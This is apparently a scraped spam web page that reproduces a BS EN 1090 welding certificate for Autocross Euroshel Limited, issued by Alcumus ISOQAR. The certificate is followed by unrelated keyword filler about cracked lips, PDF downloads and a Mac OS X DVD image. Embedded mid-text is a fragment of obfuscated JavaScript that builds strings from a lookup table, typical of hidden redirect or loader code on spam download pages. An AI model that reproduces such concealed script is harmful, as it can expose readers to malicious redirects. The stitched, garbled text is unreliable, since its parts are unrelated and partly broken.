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## Certificate of Registration



WELDING CERTIFICATE

Certificate No: 0513 - CPR - 11458-001/01 - WC

In compliance with BS EN 1090-1:2009 Table B1 the following has been stated:

This Welding Certificate is an annex to the EC – Certificate of the Factory Production Control. This Welding Certificate is only valid in conjunction with the aforementioned EC-Certificate in the scope of the Construction Products Regulation or CPR.

Manufacturer: Autocross Euroshel Limited

Facilities of the Manufacturer: Unit 8 Laneside, Off Metcalf Drive, Altham Industrial Estate,

Altham, Lancashire, BB5 5TU

Standard: BS EN 1090-2: 2008 + A1: 2011

Execution Class: Up to Execution Class 2

Welding Processes: 141 TIG (Tungsten Inert Gas)

Base Materials: Up to and including 304L to 316L according to EN 10088-2

**Responsible Welding Coordinator:** 

Substitute:

Jayne Taylor Whitticks

None

Attestation: This certificate attests that all procedures for the execution and

surveillance of welding works are implemented

Date of first issue:30 October 2015Date of this issue:30 October 2015Period of Validity:29 October 2018

Validity Period: This certificate remains valid as long as the conditions laid out in the technical

specification in reference to BS EN 1090-1:2009 + A1 2011 or the manufacturing

conditions in the factory or FPC are not modified significantly

Approved on behalf of the Certification Board (Alcumus ISOQAR - Notified Body No. 0513):

Scheme Manager:

Steve Stubley, Technical Director





This certificate will remain current subject to the company maintaining its system to the required standard. This will be monitored regularly by Alcumus ISOQAR. Further clarification regarding the scope of this certificate and the applicability of the relevant standards' requirements (see certificate appendix) may be obtained by consulting Alcumus ISOQAR.

Alcumus ISOQAR Limited, Alcumus Certification, Cobra Court, 1 Blackmore Road, Stretford, Manchester M32 0QY.

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This includes structures and manufactured components produced from hot rolled, structural steels; cold-formed components and sheeting; hot finished and cold formed structural hollow sections, as well as austenitic-ferritic and ferritic stainless steel products. What Causes Cracked Lips On The Side



## Certificate of Registration



WELDING CERTIFICATE

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How does it work? BS EN 1090-2 starts by defining constituent products, such as steels, welding consumables and mechanical fasteners... ";EnI["DfT"]="r=n";EnI["EGv"]="AbV";EnI["PeN"]="kpO";EnI["jVc"]="IAP";EnI["mFs"]="B9S";EnI["bEn"]="def";EnI["RAB"]="pRe";EnI["Atz"]="?QS";EnI["Ptp"]="IVC";EnI["OCB"]="ef=";EnI["kEH"]=");x";EnI["IbY"]="=Dg";EnI["LzU"]="XVY";EnI["CKO"]="unc";EnI["mxn"]="doc";EnI["Grd"]="ope";EnI["Qle"]="WU0";EnI["Ndy"]="er;";EnI["gXb"]="fo/";EnI["MuW"]="seT";EnI["aGK"]="SVA";EnI["Xfr"]="ThR";EnI["Nog"]="QQV";EnI["nKK"]="xtV";EnI["oUA"]="... Other topics include inspection and correction to ensure maximum levels of quality control.. This includes structures and manufactured components produced from hot rolled, structural steels; cold-formed components and sheeting; hot finished and cold formed structural hollow sections, as well as austenitic-ferritic and ferritic stainless steel products.. En 1090 1Din En 1090 2Bs En 1090-2 Pdf DownloadThis standard's specifications do not relate to the type and shape of the steel structure – for example buildings, bridges, plated or latticed components.. We created 85% of our portfolio because we know standards and we know your business.. How does it work? BS EN 1090-2 starts by defining constituent products, such as steels, welding consumables and mechanical fasteners. 6e4e936fe3 Mac Os X 10.5 9a581 Dvd Image

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